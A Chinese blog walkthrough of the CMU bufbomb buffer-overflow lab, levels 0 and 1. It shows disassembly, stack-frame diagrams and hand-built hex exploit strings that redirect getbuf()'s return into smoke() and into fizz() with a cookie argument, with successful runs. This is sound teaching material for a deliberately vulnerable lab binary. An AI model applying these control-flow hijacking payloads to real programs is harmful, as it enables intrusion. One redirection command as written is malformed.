下载实验工具,最新的讲义在这。网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。不过没有关系,大体上只是程序名(sendstring)或者参数名(bufbomb -t)的差异,不影响我们的实验。
后面实验中,五次“攻击”中有四次都是使你的cookie出现在它原本不存在的位置,所以我们首先要为自己产生一个cookie。实验工具中的makecookie就是生成cookie用的,参数是你的名字:
[root@vm bufbomb]$ file makecookie
makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped
[root@vm bufbomb]$ chmod +x makecookie
[root@vm bufbomb]$ ./makecookie cdai
0x5e5ee04e
bufbomb就是我们要“攻击”的程序,我下载的实验工具的这个版本在执行时必须有-t这个参数,表示本人的名字:
[root@vm bufbomb]$ ./bufbomb
You must include a team name with -t
Usage: ./bufbomb -t team [-n] [-s] [-h]
-t team: Specify team name
-n : Nitro mode
-s : Submit solution via email
-h : Print help information
[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:I love 15-213
Dud: getbuf returned 0x1
Better luck next time
[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:It is easier to love this class when you are a TA
Ouch!: You caused a segmentation fault!
Better luck next time
sendstring小工具(新版叫做hex2raw)能读入我们的制作的string(十六进制),将其发送到bufbomb的标准输入流,避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行:
[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
[root@vm bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai
下面这一段看似“无辜”的小函数就是产生安全漏洞的源头了,而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小,直接将用户输入的所有字符都保存进去。如果用户输入过多的字符,就会导致栈上某些数据被覆盖,从而造成了缓冲区溢出的危险:
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}
在开始真正“攻击”之前,我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。只有全面的了解了栈结构,后面实验时我们才能随心所欲地“攻击”它。首先,通过objdump反汇编getbuf()函数:
[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp
8048ad3: 83 ec 28 sub $0x28,%esp
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 <Gets>
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
根据getbuf()的汇编代码,现在分析一下运行时的栈结构是什么样子。基础知识可以看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来快速温习一下,这里就不赘述了。
首先,未调用getbuf()之前,%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址,此时栈世界还是一片“风平浪静”:
…………………………………………….. 0x?? <- %ebp
…………………………………………….. 0x00 <- %esp
当test()执行到call 时,根据之前的学习,call指令和getbuf()的前两条“惯用”指令会完成这三件事儿:
根据这三条“惯例”,每个函数的栈初始时都是一样的:先是return address,然后是保存的调用者的%ebp,当前的%ebp就指向这。而%esp根据分配空间的大小指向了“更低处”。接下来就是分析getbuf()独有的部分了。开始进一步分析之前先确定两个规则:1)%ebp指向的地址作为0x00(相对地址);2)下图中寄存器指向的横线的上方是该地址上的数据。
不考虑Gets()是如何利用入参-0x18修改buf数组,默认它会完成这个工作。那么getbuf()的栈在调用Gets()就是这个样子:
…………………………………………….. 0x??
……………………………………………..
Return Address
…………………………………………….. 0x04
Saved %ebp
…………………………………………….. 0x00 <- %ebp
……………………………………………..
-0x18 (%eax)
…………………………………………….. -0x28 <- %esp (&arg0)
了解到这里也就足够了,下面就可以进行实验了。
温习:call, leave, ret
call A:保存%eip,调用函数
- push %eip
jmp A
leave:还原调用者的%ebp和%esp,为退出函数做准备
mov %ebp, %esp
pop %ebp
ret:修改%eip,返回调用者继续执行
pop %eip
进一步回顾:
push A:将A压入栈,并修改栈顶指针%esp
- mov A, (%esp)
%esp += 4
jmp A:修改%eip,“跳到别处”继续执行
mov A, %eip
GDB是Linux下强大的调试工具,简单使用说明如下:
实验1是要修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。并且不用担心我们会破坏栈的其他部分,因为反正smoke()执行后也是要终止程序,这也降低了难度。
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
于是思路很简单,按照前面的栈结构分析,我们只需构造一段字符串让Gets()全部拷贝到buf数组了,从而造成缓冲区溢出。同时最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内,使其恰好覆盖到getbuf()的return address位置。
那么第一步,我们先要知道smoke()的初始地址。这很简单,用objdump查看符号表或者.text都能找到:
[root@vm bufbomb]$ objdump -t bufbomb
bufbomb: file format elf32-i386
SYMBOL TABLE:
08048134 l d .interp 00000000 .interp
...
08048f40 g F .text 0000002a bushandler
08048eb0 g F .text 0000002a smoke
00000000 F *UND* 00000017 rand@@GLIBC_2.0
0804a1d0 g O .bss 00000004 team
...
可以清楚地看到smoke的初始地址是0x08048eb0,万事俱备,现在就可以构造“攻击”字符串了!既然题目都说了,破坏栈中的其他部分数据没关系,那除了smoke的地址,其他我们都可以“瞎写”了。buf第一个元素的地址是-0x18,而return address第一个字节的地址是0x04,两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数,我按00到99的顺序填充:
[root@vm bufbomb]$ cat exploit.raw
0011223344556677889900112233445566778899001122334455667708048eb0
出乎意料的是第一次运行却失败了,bufbomb提示segment fault,还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿,直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就会指向一个非法的内存地址了,当然就报段错误了。将地址调整成b0 8e 04 08后,果然成功了!看到CMU对我说“NICE JOB!”热泪盈眶啊!
[root@vm bufbomb]$ cat exploit.raw
00112233445566778899001122334455667788990011223344556677b08e0408
[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server
实验2与实验1大同小异,都是让getbuf()的调用者test()(不是getbuf())执行一个代码里未调用的函数,实验2中是fizz()函数。但实验2稍稍提高了难度,我们不仅要想法让test()执行fizz(),还要传入我们的cookie作为参数,让fizz()打印出来才算成功。
void fizz(int val)
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60,只要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()执行完毕后返回到fizz()中(注意不要再忘记小尾端字节序),也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。
第二步很简单,用makecookie生成我的用户名”cdai”的cookie是0x5e5ee04e,那么现在的问题是如何正确设置fizz()的入参呢?之前我们着重温习了call执行时被调用者要做的三件事儿,现在就温习一下调用者要做的事儿。重温一下getbuf()的反汇编代码,以getbuf()调用Gets()为例,看一下调用者的代码和对应的栈:
[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp
8048ad3: 83 ec 28 sub $0x28,%esp
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 <Gets>
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
[root@vm bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
08048e60 <fizz>:
8048e60: 55 push %ebp
8048e61: 89 e5 mov %esp,%ebp
8048e63: 83 ec 08 sub $0x8,%esp
8048e66: 8b 45 08 mov 0x8(%ebp),%eax
...
调用Gets()之前,getbuf()负责将参数压入到栈上,参数位置是(%esp),即栈顶所指的位置。有了这个知识,我们就可以为fizz()准备入参了。但要注意三点:
这时的栈看起来很别扭,这很正常。因为正常情况下,getbuf()执行后应回到它的调用点,但因为我们故意破坏了它的栈,所以 getbuf()的return执行后却立即进入了另一个函数fizz(),看起来也就不足为奇了。
…………………………………………………………………………….. 0x??
Data on caller’s stack => fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
Data on caller’s stack => fizz()’s return address: padding 00112233
…………………………………………………………………………….. 0x08
Return Address of getbuf() => fizz()’s entry point: 608e0408
…………………………………………………………………………….. 0x04
Saved %ebp => padding 44556677
…………………………………………………………………………….. 0x00 <- %ebp
Buf on getbuf()’s stack => padding 00~99 00~99 00~33
……………………………………………………………………………..
-0x18 (%eax)
…………………………………………………………………………….. -0x28 <- %esp (&arg0)
下面就是进入fizz()之后的样子:按照调用者“惯例”和call指令,入参和返回地址(%eip)被压入栈上。按照被调用者“惯例”,fizz将%ebp压入栈后移动到%esp,并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()!从fizz()的反汇编结果也验证了这一点,sub $0x8, %esp分配栈空间后,mov 0x8(%ebp), %eax将入参保存到寄存器%eax中。对照下面的栈,%ebp隔着压入栈的调用者的%ebp和返回地址8字节,因此0x8(%ebp)恰好就是我们“攻击”时放置的入参值。
…………………………………………………………………………….. 0x??
fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
fizz()’s return address: 00112233
…………………………………………………………………………….. 0x08
Saved %ebp: 44556677
…………………………………………………………………………….. 0x04 <- %ebp
…………………………………………………………………………….. 0x00
…………………………………………………………………………….. -0x08 <- %esp
[root@vm bufbomb]$ cat exploit_level_1.raw
00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e
[root@vm bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Fizz!: You called fizz(0x5e5ee04e)
NICE JOB!
Sent validation information to grading server
原文:http://blog.csdn.net/dc_726/article/details/46382129